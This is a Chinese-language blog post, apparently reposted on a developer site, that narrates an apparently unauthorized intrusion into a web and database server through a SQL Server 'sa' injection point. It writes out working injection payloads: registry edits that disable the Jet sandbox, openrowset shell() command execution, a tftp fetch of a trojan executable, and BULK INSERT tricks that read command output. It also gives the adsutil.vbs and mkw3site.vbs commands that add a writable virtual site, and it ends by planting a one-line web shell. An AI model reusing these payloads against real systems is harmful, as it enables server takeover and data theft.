记一次巧妙的hacking

本文记录了一次SA注入攻击的过程,包括利用扩展存储执行命令、获取数据库服务器IP、配置虚拟目录及部署Web Shell等内容。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

 
那天,正在看资料,朋友丢了个 URL 过来,说是 SA 注入点,但数据库和 WEB 分离的,搞了半天没搞定。
我一听, SA 注入点,应该很容易的说,于是就很随意的说, OK ,没问题,等会给结果~
手工大概的判断了下,的确是个 SA 注入点。判断过程偶就不写了,精彩的地方当然要留到后面啦
操起 NBSI 这把大刀就开工了。首先尝试恢复 xp_cmdshell sp_OACreate 两扩展存储,恢复后用两扩展存储随意执行了一个命令,但是从回显结果来判断,
命令没有成功执行。于是又恢复 xp_servicecontrol 扩展存储,由于该扩展存储没有回显,偶就随意的 ECHO 了一个文件到一个指定目录
然后用列目录的功能把那目录列了一遍,但并未发现写入的文件。心想,应该是管理员把那几个常用的 hacking 扩展存储都给 X 了吧。
不知道 xp_regwrite 扩展存储被 X 了没。于是乎,手工开启了沙盒模式

asp
? idx = 32 ; exec master .. xp_regwrite 'HKEY_LOCAL_MACHINE' , 'SOFTWARE/Microsoft/Jet/4.0/Engines' , 'SandBoxMode' , 'REG_DWORD' , 0 ;--
然后尝试用沙盒模式往指定目录 ECHO 了个文件。

asp
? idx = 32 and 0<> ( select * from openrowset ( 'microsoft.jet.oledb.4.0' , ';database=c:/winnt/system32/ias/ias.mdb' , 'select shell("cmd /c echo xx >c:/xxx/xxx.txt")' ))--
再用列目录的功能把该目录给列了一遍,发现 ECHO 命令执行成功! HOHO ,还好管理员没把这个扩展存储给 X 了。
有了可执行命令的扩展存储,就有了一线希望。于是想到直接用 tftp UP 个马上去。。执行 tftp - i ip get muma . exe c :/ muma . exe 发现一点反映也没有。
猜测可能被管理员限制或 DEL 了。于是写了一句话的下载 VBS ,执行后,老半天没发现我们的马儿,难道,难道他不对外访问?
于是,我又执行了 IPCONGFIG 命令,并 ECHO np . tmp 临时文件。可是我们看不到 ECHO 的内容,怎么才能得到数据库服务器的 IP 呢?嘿嘿,想想,他 NBSI 为什么能回显呢?我们也可以那样做。

asp
? idx = 32 ; CREATE TABLE [ NP_ICEHACK ]( ResultTxt nvarchar ( 1024 ) NULL )-- //创建一个放回显内容的表

asp
? idx = 32 BULK INSERT [ NP_ICEHACK ] FROM 'np.tmp' WITH ( KEEPNULLS ); insert into [ NP_ICEHACK ] values ( 'g_over' ); Alter Table [ NP_ICEHACK ] add id int NOT NULL IDENTITY ( 1 , 1 )-- //以备份的形式把临时文件np.tmp的内容写入NP_ICEHACK表中

然后用 NBSI 直接把该表跑出来。没过一会,可爱的 IP 就浮现在我的面前。于是再操起 nmap ,一阵扫描。不过扫描结果有点意外。就开了个 80
难道数据库没分离? PING 下域名其 IP 和得到的数据库 IP 是不一样的。不管三七二十一了,先访问再说。。马上打上 IP 访问。
发现一片空白,奇怪!于是再随意打上个目录,还是空白。傻眼了。这这。。。这端口根据 nmap 的判断是 IIS 5 . 0 啊,难道误报?
突想,试下不就知道了。怎么个试法呢?嘿嘿,我用沙盒模式执行了 net stop w3svc 命令(停止整个 WEB 服务)。再访问 80 一看。 YES ,访问不到了。连那让人郁闷的空白页面也消失了。看来有戏,于是我再执行 net start w3svc 命令(启动整个 WEB 服务).再访问 80 一看, No web site is configured at this address .
呀,还有绑定域名,那不是可以做个虚拟目录。于是执行如下命令,查询了几个站点配置(把 1 依次往上加就可以看别的站点的配置情况)

cmd
/ c Cscript . exe c :/ Inetpub / AdminScripts / adsutil . vbs GET W3SVC / 1 / ServerBindings
查看第一个虚拟 web 站点的邦定端口。这里的 W3SVC / 1 IIS :/ LocalHostW3SVC / 1 的简写,而 ServerBindings 是他的属性
还是用 NBSI 列出来,列到 3 时,发现其绑定了一个域名,于是执行如下命令,添加虚拟目录

Cscript . exe c :/ Inetpub / AdminScripts / adsutil . vbs CREATE w3svc / 3 / Root / np "IIsWebVirtualDir"
Cscript . exe c :/ Inetpub / AdminScripts / adsutil . vbs SET w3svc / 3 / root / np / Path "C:/":
Cscript.exe c:/Inetpub/AdminScripts/adsutil.vbs SET w3svc/3/Root/np/AccessRead 1
Cscript.exe c:/Inetpub/AdminScripts/adsutil.vbs SET w3svc/3/Root/np/AccessWrite 1
Cscript.exe c:/Inetpub/AdminScripts/adsutil.vbs SET w3svc/3/Root/np/AccessScript 1
Cscript.exe c:/Inetpub/AdminScripts/adsutil.vbs SET w3svc/3/Root/np/EnableDirBrowsing 1
Cscript.exe c:/Inetpub/AdminScripts/adsutil.vbs SET w3svc/3/Root/np/AccessSource 1
添加后高兴的去访问那域名www.xxx.com/np/结果发现还是www.xxx.com的内容,怀疑没加成功,于是随便访问了一个目录,发现还是www.xxx.com的内容
难道是把所有的都转发到www.xxx.com???于是本地搭平台测试ING。。发现果然如自己所料,被转发了。
绝。。居然这样。。经过一段时间的思考,脑筋一转,心想:你不让我访问这个站,行。。我应承你,我自己建个站去,看你转。哼~
于是立即执行如下命令

cmd /c cscript c:/Inetpub/AdminScripts/mkw3site.vbs -r "
c :/ " -t " test " -c " LocalHost " -o " 80 " -h " netpatch . xx . com "
把自己的域名绑定该数据库服务器IP。再访问netpatch.xx.com HOHO,终于可以了。
于是立即ECHO了一句话马上去,结束了这次hacing之旅.

BTW:其实,在此次的hacking中碰到很多问题,也查阅了许多相关资料,搭平台测试了N遍才测试OK的。并没有文章里那么顺利。
难度在于,对方只开了80且把仅有的WEB给转发了,而且又不对外访问。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值